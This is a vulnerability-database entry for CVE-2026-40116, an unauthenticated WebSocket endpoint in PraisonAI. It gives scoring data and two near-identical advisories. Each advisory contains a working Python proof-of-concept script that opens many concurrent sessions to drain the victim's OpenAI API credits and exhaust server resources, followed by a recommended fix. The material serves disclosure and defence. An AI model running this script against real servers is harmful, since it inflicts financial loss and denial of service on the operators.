CVE-2026-40116

highPriorität · verfolgen · 0EPSS 0.004 · 31. PerzentilEUUS
grimoire priorityP2 · Scheduled
Exploitable?
—
no known exploitation
Likely / severe?
0.37% (31st) EPSS
CVSS 7.5 · high
Is it mine?
3 products
Prüfe deine Angriffsfläche
Who says so?
4 sources
cnnvd · enisa_euvd · osv · nvd

EPSS · bewertet 2026-10-28

PraisonAI is a multi-agent teams system. Prior to 4.5.128, the /media-stream WebSocket endpoint in PraisonAI's call module accepts connections from any client without authentication or Twilio signature validation. Each connection opens an authenticated session to OpenAI's Realtime API using the server's API key. There are no limits on concurrent connections, message rate, or message size, allowing an unauthenticated attacker to exhaust server resources and drain the victim's OpenAI API credits. This vulnerability is fixed in 4.5.128.

01

cvss

Technischer Schweregrad, 0–10. Eine Zeile je Quelle.

7.5
010

Basiswert 0–10 · höher = schwerwiegender · Vektor überfahren zum Auflösen⚠ Quellen uneinig · medium–high · 6.9–7.5

v3.17.5highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:Hsecondary · ENISA EU
v3.17.5highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:Hsecondary · security-advisories@github.comAusnutzbarkeit 3.9 · Auswirkung 3.6
v3.17.5highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:Hsecondary · OSV
v3.16.9mediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:Usecondary · CVSS-BT (t0sche)
02

SSVC

Eine Handlungsentscheidung — aus Ausnutzung und Auswirkung.

Exploitation: poc · Automatable: yes · Technical Impact: partialcoordinatorcisa_ssvcUS
03

schwächen

Die CWE-Schwächeklassen, zu denen dies gehört.

04

betroffene Produkte (3)

Betroffene Produkte und Versionsbereiche.

05

Advisories (2)

Hersteller- und Ökosystem-Meldungen dazu.

  • GHSA-q5r4-47m9-5mc7PraisonAI: Unauthenticated WebSocket Endpoint Proxies to Paid OpenAI Realtime API Without Rate Limits2026-04-10ghsa · osvUS

    ## Summary The `/media-stream` WebSocket endpoint in PraisonAI's call module accepts connections from any client without authentication or Twilio signature validation. Each connection opens an authenticated session to OpenAI's Realtime API using the server's API key. There are no limits on concurrent connections, message rate, or message size, allowing an unauthenticated attacker to exhaust server resources and drain the victim's OpenAI API credits. ## Details The vulnerability exists in `src/praisonai/praisonai/api/call.py`. The FastAPI application defines a WebSocket endpoint at line 108 with no authentication middleware, no Twilio request signature validation, and no rate limiting: ```python # line 108-112 — no auth, no middleware, accepts any WebSocket client @app.websocket("/media-stream") async def handle_media_stream(websocket: WebSocket): """Handle WebSocket connections between Twilio and OpenAI.""" print("Client connected") await websocket.accept() ``` Immediately upon connection, the handler opens an authenticated session to OpenAI's paid Realtime API using the server's `OPENAI_API_KEY`: ```python # line 114-120 — each unauthenticated connection spawns a paid API session async with websockets.connect( 'wss://api.openai.com/v1/realtime?model=gpt-4o-realtime-preview-2024-10-01', extra_headers={ "Authorization": f"Bearer {OPENAI_API_KEY}", "OpenAI-Beta": "realtime=v1" } ) as openai_ws: ``` The `receive_from_twilio()` coroutine then reads unlimited messages and forwards them directly to OpenAI: ```python # line 128-135 — unbounded message ingestion, no size/rate check async for message in websocket.iter_text(): data = json.loads(message) if data['event'] == 'media' and openai_ws.open: audio_append = { "type": "input_audio_buffer.append", "audio": data['media']['payload'] } await openai_ws.send(json.dumps(audio_append)) ``` The server binds to `0.0.0.0` (line 273) and can be exposed to the internet via ngrok (`--public` flag). Twilio's `RequestValidator` is never used — the endpoint was designed to receive Twilio media streams but performs no verification that the connecting client is actually Twilio. The standard mitigation for Twilio WebSocket endpoints is to validate the `X-Twilio-Signature` header, which is absent here. Additionally, `uvicorn.run()` is called without a `ws_max_size` parameter (line 273), defaulting to 16MB per WebSocket message. Combined with no connection limit, this allows substantial memory consumption. ## PoC ```bash # Step 1: Verify the endpoint is accessible and accepts connections python3 -c " import asyncio import websockets import json async def test(): async with websockets.connect('ws://TARGET:8090/media-stream') as ws: # Send a start event (mimicking Twilio) await ws.send(json.dumps({ 'event': 'start', 'start': {'streamSid': 'attacker-session-1'} })) # Send a media event — this gets forwarded to OpenAI Realtime API await ws.send(json.dumps({ 'event': 'media', 'media': {'payload': 'SGVsbG8gV29ybGQ='} })) # Receive the OpenAI response routed back response = await asyncio.wait_for(ws.recv(), timeout=10) print('Received response (confirms OpenAI session active):', response[:200]) asyncio.run(test()) " # Step 2: Demonstrate resource exhaustion — open multiple concurrent connections # Each connection spawns an OpenAI Realtime API session billed to the server owner python3 -c " import asyncio import websockets import json import base64 async def open_session(i): uri = 'ws://TARGET:8090/media-stream' async with websockets.connect(uri) as ws: await ws.send(json.dumps({ 'event': 'start', 'start': {'streamSid': f'attacker-{i}'} })) # Send audio data to keep the OpenAI session active and billing payload = base64.b64encode(b'\\x00' * 8000).decode() # ~8KB audio chunk for _ in range(100): await ws.send(json.dumps({ 'event': 'media', 'media': {'payload': payload} })) await asyncio.sleep(0.01) print(f'Session {i}: sent 100 audio chunks to OpenAI via proxy') async def main(): # Open 10 concurrent sessions (each consuming OpenAI Realtime API credits) await asyncio.gather(*[open_session(i) for i in range(10)]) asyncio.run(main()) " ``` Replace `TARGET` with the server's hostname/IP. Each connection in Step 2 opens a separate authenticated OpenAI Realtime API session. The server logs will show "Client connected" and "Incoming stream has started" for each attacker session. ## Impact 1. **OpenAI API credit drain**: Each unauthenticated WebSocket connection opens a billed OpenAI Realtime API session. An attacker can open many concurrent sessions and stream audio data, accumulating charges on the victim's OpenAI account. The Realtime API bills per-second of audio, making this financially impactful. 2. **Denial of service**: Legitimate Twilio callers are denied service when the server's resources (memory, file descriptors, OpenAI API rate limits) are exhausted by attacker connections. 3. **Server memory exhaustion**: With no per-message size limit (16MB default) and no connection limit, an attacker can consume server memory by opening many connections and sending large payloads. ## Recommended Fix Add Twilio signature validation, connection limits, and rate limiting: ```python from twilio.request_validator import RequestValidator from starlette.websockets import WebSocketState import time # Connection tracking MAX_CONCURRENT_CONNECTIONS = 20 active_connections = 0 connection_lock = asyncio.Lock() TWILIO_AUTH_TOKEN = os.getenv('TWILIO_AUTH_TOKEN') @app.websocket("/media-stream") async def handle_media_stream(websocket: WebSocket): global active_connections # Enforce connection limit async with connection_lock: if active_connections >= MAX_CONCURRENT_CONNECTIONS: await websocket.close(code=1008, reason="Too many connections") return active_connections += 1 try: # Validate Twilio signature if auth token is configured if TWILIO_AUTH_TOKEN: validator = RequestValidator(TWILIO_AUTH_TOKEN) url = str(websocket.url).replace("ws://", "http://").replace("wss://", "https://") signature = websocket.headers.get("X-Twilio-Signature", "") if not validator.validate(url, {}, signature): await websocket.close(code=1008, reason="Invalid signature") return await websocket.accept() # ... rest of handler ... finally: async with connection_lock: active_connections -= 1 ``` Additionally, pass `ws_max_size` to uvicorn to limit individual message sizes: ```python uvicorn.run(app, host="0.0.0.0", port=port, log_level="warning", ws_max_size=1_048_576) # 1MB ```

  • PYSEC-2026-2920PraisonAI: Unauthenticated WebSocket Endpoint Proxies to Paid OpenAI Realtime API Without Rate Limits2026-07-13vendor · osvUS

    ## Summary The `/media-stream` WebSocket endpoint in PraisonAI's call module accepts connections from any client without authentication or Twilio signature validation. Each connection opens an authenticated session to OpenAI's Realtime API using the server's API key. There are no limits on concurrent connections, message rate, or message size, allowing an unauthenticated attacker to exhaust server resources and drain the victim's OpenAI API credits. ## Details The vulnerability exists in `src/praisonai/praisonai/api/call.py`. The FastAPI application defines a WebSocket endpoint at line 108 with no authentication middleware, no Twilio request signature validation, and no rate limiting: ```python # line 108-112 — no auth, no middleware, accepts any WebSocket client @app.websocket("/media-stream") async def handle_media_stream(websocket: WebSocket): """Handle WebSocket connections between Twilio and OpenAI.""" print("Client connected") await websocket.accept() ``` Immediately upon connection, the handler opens an authenticated session to OpenAI's paid Realtime API using the server's `OPENAI_API_KEY`: ```python # line 114-120 — each unauthenticated connection spawns a paid API session async with websockets.connect( 'wss://api.openai.com/v1/realtime?model=gpt-4o-realtime-preview-2024-10-01', extra_headers={ "Authorization": f"Bearer {OPENAI_API_KEY}", "OpenAI-Beta": "realtime=v1" } ) as openai_ws: ``` The `receive_from_twilio()` coroutine then reads unlimited messages and forwards them directly to OpenAI: ```python # line 128-135 — unbounded message ingestion, no size/rate check async for message in websocket.iter_text(): data = json.loads(message) if data['event'] == 'media' and openai_ws.open: audio_append = { "type": "input_audio_buffer.append", "audio": data['media']['payload'] } await openai_ws.send(json.dumps(audio_append)) ``` The server binds to `0.0.0.0` (line 273) and can be exposed to the internet via ngrok (`--public` flag). Twilio's `RequestValidator` is never used — the endpoint was designed to receive Twilio media streams but performs no verification that the connecting client is actually Twilio. The standard mitigation for Twilio WebSocket endpoints is to validate the `X-Twilio-Signature` header, which is absent here. Additionally, `uvicorn.run()` is called without a `ws_max_size` parameter (line 273), defaulting to 16MB per WebSocket message. Combined with no connection limit, this allows substantial memory consumption. ## PoC ```bash # Step 1: Verify the endpoint is accessible and accepts connections python3 -c " import asyncio import websockets import json async def test(): async with websockets.connect('ws://TARGET:8090/media-stream') as ws: # Send a start event (mimicking Twilio) await ws.send(json.dumps({ 'event': 'start', 'start': {'streamSid': 'attacker-session-1'} })) # Send a media event — this gets forwarded to OpenAI Realtime API await ws.send(json.dumps({ 'event': 'media', 'media': {'payload': 'SGVsbG8gV29ybGQ='} })) # Receive the OpenAI response routed back response = await asyncio.wait_for(ws.recv(), timeout=10) print('Received response (confirms OpenAI session active):', response[:200]) asyncio.run(test()) " # Step 2: Demonstrate resource exhaustion — open multiple concurrent connections # Each connection spawns an OpenAI Realtime API session billed to the server owner python3 -c " import asyncio import websockets import json import base64 async def open_session(i): uri = 'ws://TARGET:8090/media-stream' async with websockets.connect(uri) as ws: await ws.send(json.dumps({ 'event': 'start', 'start': {'streamSid': f'attacker-{i}'} })) # Send audio data to keep the OpenAI session active and billing payload = base64.b64encode(b'\\x00' * 8000).decode() # ~8KB audio chunk for _ in range(100): await ws.send(json.dumps({ 'event': 'media', 'media': {'payload': payload} })) await asyncio.sleep(0.01) print(f'Session {i}: sent 100 audio chunks to OpenAI via proxy') async def main(): # Open 10 concurrent sessions (each consuming OpenAI Realtime API credits) await asyncio.gather(*[open_session(i) for i in range(10)]) asyncio.run(main()) " ``` Replace `TARGET` with the server's hostname/IP. Each connection in Step 2 opens a separate authenticated OpenAI Realtime API session. The server logs will show "Client connected" and "Incoming stream has started" for each attacker session. ## Impact 1. **OpenAI API credit drain**: Each unauthenticated WebSocket connection opens a billed OpenAI Realtime API session. An attacker can open many concurrent sessions and stream audio data, accumulating charges on the victim's OpenAI account. The Realtime API bills per-second of audio, making this financially impactful. 2. **Denial of service**: Legitimate Twilio callers are denied service when the server's resources (memory, file descriptors, OpenAI API rate limits) are exhausted by attacker connections. 3. **Server memory exhaustion**: With no per-message size limit (16MB default) and no connection limit, an attacker can consume server memory by opening many connections and sending large payloads. ## Recommended Fix Add Twilio signature validation, connection limits, and rate limiting: ```python from twilio.request_validator import RequestValidator from starlette.websockets import WebSocketState import time # Connection tracking MAX_CONCURRENT_CONNECTIONS = 20 active_connections = 0 connection_lock = asyncio.Lock() TWILIO_AUTH_TOKEN = os.getenv('TWILIO_AUTH_TOKEN') @app.websocket("/media-stream") async def handle_media_stream(websocket: WebSocket): global active_connections # Enforce connection limit async with connection_lock: if active_connections >= MAX_CONCURRENT_CONNECTIONS: await websocket.close(code=1008, reason="Too many connections") return active_connections += 1 try: # Validate Twilio signature if auth token is configured if TWILIO_AUTH_TOKEN: validator = RequestValidator(TWILIO_AUTH_TOKEN) url = str(websocket.url).replace("ws://", "http://").replace("wss://", "https://") signature = websocket.headers.get("X-Twilio-Signature", "") if not validator.validate(url, {}, signature): await websocket.close(code=1008, reason="Invalid signature") return await websocket.accept() # ... rest of handler ... finally: async with connection_lock: active_connections -= 1 ``` Additionally, pass `ws_max_size` to uvicorn to limit individual message sizes: ```python uvicorn.run(app, host="0.0.0.0", port=port, log_level="warning", ws_max_size=1_048_576) # 1MB ```

06

auch bekannt als (6)

Weitere Namen und Kennungen dieser Entität.

07

quellen

Welche Quellen diesen Datensatz belegen und wann.

veröffentlicht 2026-04-09geändert 2026-10-26
08

Referenzen (5)

Externe Belege — Patches, Meldungen, Analysen.

scry

Angreifer nutzen Schwachstellen wie diese gegen im Internet exponierte Dienste aus. Sehen Sie mit einem kostenlosen Passiv-Scan, was exponiert ist.

Kostenloser Scan